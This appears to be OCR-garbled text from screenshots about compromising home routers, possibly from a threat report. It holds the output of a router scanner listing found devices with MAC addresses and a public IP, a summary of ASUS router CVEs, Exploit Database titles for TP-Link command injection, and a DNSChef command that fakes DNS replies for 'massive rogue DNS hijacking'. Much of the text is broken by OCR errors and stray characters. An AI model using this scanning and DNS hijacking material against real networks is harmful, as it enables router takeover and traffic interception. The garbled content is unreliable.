Done D-Link DHP-W610AY, hardware: Al, firmware: 1.01EU 40:9B:CD:3C:16:05  dlinkMARTIN
Error occured Sercomm WiFire
Error occured Sercomm WiFire
Error occured Sercomm WiFire

Error occured i
Done ¢ USER LOGIN

Done
Done ASUS DSL-AC68U, firmware: 2.0 | BO0:6E:BF:7D:05:08

Matar

Barcelona

Alger A%o3 §C
pesl]

Scanning now; 37.14.97.242 Active threads: 123 | 0 Total found: 35825 Good found: 113 Work time: 7:14:51:40  Total time: 215:07:01:39
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R« Iniciar Sesion
RT-AC68U

Inicie sesién en la cuenta del router de ASUS

First set of issues

Login Page CSRF (CVE-2017-5891) - The router's web admin panel login page doesn't have CSRF
protection. This means an attacker can draw a user on a malicious site and issue a request from that site

to the router's login page. This vulnerability can be used to log into routers that still use their default

Pp: d of admin/admin, or to authenticate using the real password.

Save Settings CSRF (CVE-2017-5891) - Same as above, but the attacker can modify router settings
to alter Internet traffic handling, security settings, or login detai

JSONP Information Disclosure Without Login - A JSONP endpoint in the router's firmware will
respond to external request, revealing information on the router's settings, such as model, SSID, TP
address, if it's running.

JSONP Information Disclosure, Login Required (CVE-2017-5892) - The same as above, but
this endpoint reveals more details about the router, such as in-depth network information, acc
details, information on network mapped devices, external IP, WebDAV data, and more.

XML Endpoint Reveals WiFi Passwords - An XML endpoint in the router's firmware allows an
attacker to query the router and get its current WiFi network password. This attack requires the attacker
to be on the same network, and know the router's admin password so that he can query the XML
endpoint.

Second set of issues

The firmware update that patches the vulnerabilities described above also includes fixes for other issues
discovered by security researcher Bruno Bierbaumer.

These are an XSS issue in the login page (CVE-2017-6547), a session stealing issue (CVE-

2017-6549), and a remote code execution bug (CVE-2017-6548) that allows attackers to run

their own code on affected devices.




TP-Link Router AX50 firmware 210730 - Remote Code
Execution (RCE) (Authenticated)

EXPLOIT
DATABASE

TP-Link Archer AX21 - Unauthenticated Command Injection

EDB- CVE: Autho  Type: Platfo  Date:
EDB Verified: ID: r REMOTE

7 ovacan
ifad it: +
EDB V\'erlfled. Explol?} ~ 8 Vulnerable App:
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MASSIVE ROGE DNS HIJACKING /—J }—.—V—U—} !—\ ,—{ |'|
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4‘\ DOCUMENTATION
cm https://qithub.com/iphelix/dnschef
root@mmchns23-vrt# ./dnschef.py --fakeip
- o e fomaie wmins 127.0.0.1 --fakeipvé ::1 --fakemail

mail.fake.com --fakealias www.fake.com
--fakens ns.fake.com -q
[*¥] DNSChef started on interface: x.x.x.x
[*] Using the following nameservers:

Esahagun L - 92.168.1. 5. S0 80,58.61.254

Cooking all A replies to point to
Cooking all AAAA replies to point to

5.205.153.161 0 5.205.153.1 8. [*] Cooking all mX r‘eplies to point to
mail.fake.com
[*] Cooking all CNAME replies to point to
www . fake.com
[*¥] Cooking all NS replies to point to
S SR £ : 5 ns.fake.com
e : et Sk L [00:17:29] 127.0.0.1: cooking the response
<bridge> <bridge> % % . : of type 'ANY' for google.com with all known
fake records.



http://www.fake.com/
http://www.fake.com/
http://www.fake.com/
https://github.com/iphelix/dnschef
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